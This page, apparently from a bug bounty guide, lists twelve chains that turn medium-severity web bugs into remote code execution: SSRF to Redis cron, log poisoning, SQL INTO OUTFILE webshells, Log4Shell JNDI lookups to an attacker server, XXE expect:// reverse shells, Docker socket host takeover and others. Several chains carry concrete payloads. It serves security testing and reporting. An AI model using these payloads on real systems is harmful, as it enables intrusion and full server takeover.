Checklist

  • List every lower severity bug you found; any of them can be a link.
  • For each, ask what it gives you: a file write, a request, a read, an object.
  • Look for an internal sink that trusts that primitive.
  • Build the chain on paper before you fire it.
  • Record each precondition so the report is reproducible.

RCE rarely stands alone. The highest severity reports string a few medium bugs into code execution. Below are real patterns. Each uses the format: input, precondition, step 1, step 2, result, impact.

1. SSRF to Redis to cron to RCE

  • Input: a URL field that fetches server side.
  • Precondition: Redis on localhost with no auth, and the web user owns a cron or writable webroot.
  • Step 1: use gopher://127.0.0.1:6379/ to send Redis commands.
  • Step 2: CONFIG SET dir /var/spool/cron, CONFIG SET dbfilename root, then SET a key whose value is a cron line, then SAVE.
  • Result: cron runs your command as the owning user.
  • Impact: code execution, often as root if cron runs as root.

2. IDOR to deserialization to RCE

  • Input: an object id you can change, plus an endpoint that reads a serialized blob.
  • Precondition: the blob is a serialized object and the classpath has a gadget.
  • Step 1: use the IDOR to reach another user’s serialized token or export.
  • Step 2: replace it with a ysoserial or PHPGGC payload and submit.
  • Result: the deserializer runs the gadget.
  • Impact: code execution in the app process.

3. XSS to Electron to RCE

  • Input: stored XSS in a web view rendered by an Electron desktop app.
  • Precondition: nodeIntegration enabled or a weak preload bridge.
  • Step 1: land XSS in a field the desktop app renders.
  • Step 2: call require('child_process').exec(...) from the injected script.
  • Result: commands run on the victim desktop.
  • Impact: client side RCE on every user who views the content.

4. LFI to log poisoning to RCE

  • Input: an include style parameter and a readable log file.
  • Precondition: the include executes PHP, and you can write to a log.
  • Step 1: send a request with PHP in a logged field, for example User-Agent: <?php system($_GET['c']); ?>.
  • Step 2: include the log file through the LFI and pass &c=id.
  • Result: the included log runs your PHP.
  • Impact: code execution as the web user.

5. Upload to .htaccess to RCE

  • Input: a file upload that does not execute .php but lets you control an upload directory.
  • Precondition: Apache with AllowOverride on, uploads served by Apache.
  • Step 1: upload an .htaccess that maps a new extension to the PHP handler, for example AddType application/x-httpd-php .evil.
  • Step 2: upload shell.evil with PHP inside.
  • Result: requesting shell.evil runs PHP.
  • Impact: webshell.

6. SQLi to INTO OUTFILE to RCE

  • Input: a SQL injection and a known webroot path.
  • Precondition: MySQL secure_file_priv allows writing, DB user has FILE, webroot is writable.
  • Step 1: UNION SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/s.php'.
  • Step 2: request /s.php?0=id.
  • Result: the written file executes.
  • Impact: webshell from a single injection.

7. Log4Shell to JNDI to RCE

  • Input: any logged field.
  • Precondition: a vulnerable Log4j version and outbound access to your server.
  • Step 1: send ${jndi:ldap://YOURID.oast.fun/a} and confirm the lookup on interactsh.
  • Step 2: serve a malicious class or a deserialization gadget from your LDAP or RMI server.
  • Result: the victim loads and runs your class.
  • Impact: unauthenticated RCE.

8. XXE to expect wrapper to RCE

  • Input: an XML parser that resolves external entities.
  • Precondition: PHP with the expect extension enabled.
  • Step 1: define <!ENTITY x SYSTEM "expect://id"> and reference it where the response reflects.
  • Step 2: swap id for a reverse shell command.
  • Result: the parser runs the command through expect.
  • Impact: code execution. Where expect is absent, chain XXE to SSRF and use an SSRF path above.

9. SSRF to FastCGI to RCE

  • Input: an SSRF that can speak arbitrary bytes, for example through gopher://.
  • Precondition: php-fpm listening on 127.0.0.1:9000.
  • Step 1: craft a FastCGI request that sets PHP_VALUE with auto_prepend_file pointing at php://input.
  • Step 2: include PHP code in the body.
  • Result: php-fpm runs your code.
  • Impact: RCE behind a server that never exposed PHP directly.

10. SSRF to Docker socket to RCE

  • Input: an SSRF that reaches http://127.0.0.1/var/run/docker.sock or a TCP docker API.
  • Precondition: the Docker API is reachable and unauthenticated.
  • Step 1: create a container with the host root mounted, for example bind /:/host.
  • Step 2: exec a command in it that writes to the host, such as a cron or an SSH key.
  • Result: you control the host, not just a container.
  • Impact: host RCE as root.

11. Unrestricted upload to deserialization (phar)

  • Input: a file upload plus a PHP file operation on an attacker named path.
  • Precondition: a file function that accepts a phar:// path and a class with a useful __destruct.
  • Step 1: upload a polyglot phar (for example a valid image with phar metadata).
  • Step 2: trigger a file op on phar://uploads/img.jpg, which unserializes the phar metadata.
  • Result: a POP chain runs.
  • Impact: RCE without any direct unserialize call.

12. Template injection through a secondary context

  • Input: a value stored in one feature and rendered by a template in another.
  • Precondition: stored input reaches a server side template later.
  • Step 1: store {{7*7}} style payloads in profile or settings fields.
  • Step 2: visit the page that renders them in a template context.
  • Result: SSTI fires in a different place than the input.
  • Impact: RCE, and it is easy to miss because source and sink are far apart.

Takeaway

When a single bug looks like a dead end, write down what primitive it gives you, then look for an internal sink that trusts that primitive. The chain, not the single bug, is where the severity is. Continue to Case studies for worked examples.